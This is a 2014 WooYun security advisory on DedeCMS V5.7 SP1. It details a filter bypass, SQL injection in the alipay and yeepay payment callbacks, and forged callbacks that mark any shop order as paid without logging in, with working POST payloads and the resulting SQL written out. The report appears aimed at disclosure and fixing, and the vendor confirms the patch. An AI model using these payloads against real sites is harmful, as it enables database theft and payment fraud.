漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-069403
漏洞标题:DedeCMS-V5.7-UTF8-SP1 新绕过思路+sql注入+任意订单支付合集
相关厂商:Dedecms
漏洞作者: menmen519
提交时间:2014-07-23 18:39
修复时间:2014-10-21 18:40
公开时间:2014-10-21 18:40
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-23: 细节已通知厂商并且等待厂商处理中
2014-07-24: 厂商已经确认,细节仅向厂商公开
2014-07-27: 细节向第三方安全合作伙伴开放
2014-09-17: 细节向核心白帽子及相关领域专家公开
2014-09-27: 细节向普通白帽子公开
2014-10-07: 细节向实习白帽子公开
2014-10-21: 细节向公众公开
简要描述:
由于织梦对@做了过滤,故而想起了我之前提交的一个支付接口漏洞,然后我就去做了测试,果然六月中旬发布的最新版本还没有修复此漏洞,这里我在这个的基础上面延伸出来三个漏洞,1.不用@也可以绕过防御,2.就是两处支付接口的sql注入利用,3.就是任意产品单号的任意支付 而且不用登陆的,这个太bug了
详细说明:
首先我们要回顾一下当时我的一个大胆猜想:
http://wooyun.org/bugs/wooyun-2014-063744
这里已经对此漏洞进行了充分的证明,那么接下来我们继续看看
include/payment/alipay.php:(lines:141-146)
这里我用var_dump打印了那个逻辑,就是为了不让走到return那里面
然后我们看(lines:164-192)
这里我也打印了此处的所有涉及的中间变量:
然后让逻辑走到$this->success_db($order_sn)这个的时候,我们跟踪到这个函数里面
include/dedesql.class.sql:(lines:255-226)
这里我们打印了要执行的sql语句,那么接下来我们访问:
url:http://v57.demo.dedecms.com/plus/carbuyaction.php
post_data:
dopost=return&code=alipay&out_trade_no=S-P0098RN0098' and char("'")=(SELECT user())#&total_fee=&sign=06f4c5710c9faa468a0628bab208d77d&trade_status=TRADE_FINISHED
如图所示:
这里我们捕捉到两条sql语句:
1.SELECT state FROM dede_shops_orders WHERE oid='S-P0098RN0098' and char("'")=(SELECT user())#' LIMIT 0,1;
2.UPDATE `dede_shops_orders` SET `state`='1' WHERE `oid`='S-P0098RN0098' and char("'")=(SELECT user())#' AND `userid`=''
第一条 以往的 我们这里char(@`'`),就会造成这样的结果:
我们的目的就是引入注释符号,和sql的查询语句,所以当我们这里改变成为
char("'")=(SELECT user())#'成功绕过了此防御,这里只能说明一点,织梦确实对@进行了处理,但是引发了其他问题,此sql语句在sql执行器里面完美执行:
第二个问题就是这里的sql注入了,问题是我上一次提交的这个支付接口的时候由于全局没有添加request的入口文件,造成这里没有对post的数据进行转移过滤,当然了payment/apliay.php肯定此时是存在sql注入的,那么按照这个思路我们去找一下还有一个支付接口同样存在问题,
payment/yeepay.php,分析如下:
定位到文件/inlcude/payment/yeepay.php(lines:144-179):
在154行getCallBackValue这个函数,我们跟进去看看,令人吃惊的是:
该函数没有做任何处理,那么经过该函数的所有参数流向sql语句,必定导致sql注入: 构造请求如下: url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 然后执行,我们同样注释掉: 146:require_once DEDEDATA.'/payment/'.$code.'.php'; 发送请求后,查看后台sql语句为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1 发现特殊字符进入sql语句,构成sql注入 我们下来看看我们为什么要这样去构造post数据:
发现要进入到sql语句必须满足,三个条件 1.$bRet == true 2.$r1_Code == 1 3.满足正则表达式 首先我们进入到CheckHmac函数:
发现这个函数当我们传递进去的$hmac == getCallbackHmacString(......)这个函数的返回值时候,那我们就会满足第一个条件 所以我们构造post数据为: dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 这时候有由于我们下载的官方软件,不知道怎么由于里面一个require导致,程序无法继续,接下来我们构造post请求,然后去官方的sp1测试站点进行测试,看看理论是否符合实际 这两处都是符合第一个正则条件: preg_match ("/S-P[0-9]+RN[0-9]/",$r6_Order) post_data1: dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d 对应的后台sql为: SELECT * FROM dede_shops_orders WHERE oid = 'S-P0098RN0098'' LIMIT 0,1
这个东西是我上一次提交的,没有被审核通过,这次再贴上,道理是相同的一模一样,因为代码:
这里所输入的东西,完全是有post里面的东西控制的,没有任何其他来源:
请求url:
http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php
post_data:
dopost=return&code=yeepay&r0_Cmd=s1&r1_Code=1&r2_TrxId=s3&r3_Amt=s4&r4_Cur=s5&r5_Pid=s6&r6_Order=S-P0098RN0098'&r7_Uid=s8&r8_MP=s9&r9_BType=s10&hmac=7ba6b76c95d25eb488505505518fbd5d
在查询入口处打印sql语句为:
后续怎么利用的话,和让面的绕过方法一样
下来我们看这个任意的订单绕过,并且支付成功:
前面我们不是看到了一个sql语句
UPDATE `dede_shops_orders` SET `state`='1' WHERE `oid`='S-P0098RN0098' and char("'")=(SELECT user())#' AND `userid`=''
那么问题就出来了,此处的oid我们可以控制,然后我们不用登陆,可以利用sql注入去任意设置userid的值,也可以登陆后这个userid就是我们自己的了,我们发送一个url:
http://192.168.10.70/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php
post_data:
dopost=return&code=alipay&out_trade_no=S-P0098RN0098&total_fee=&sign=70e47597b9ef99007cefc3a220f746ce&trade_status=TRADE_FINISHED
通过逻辑一步步绕过,并且更改了此订单S-P0098RN0098的状态,如果我们该自己的,那么我们这里就只要换一个自己的订单号,如图所示:
如果想改变其他人的支付状态,那么就利用sql注入了
ok 到此为止就分析完了
漏洞证明:
修复方案:
过滤 过滤 再 过滤 最好对支付这里有一个后台的秘钥值 参与进来运算
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:6
确认时间:2014-07-24 20:40
厂商回复:
感谢您的反馈,我们已经进行修复。
最新状态:
暂无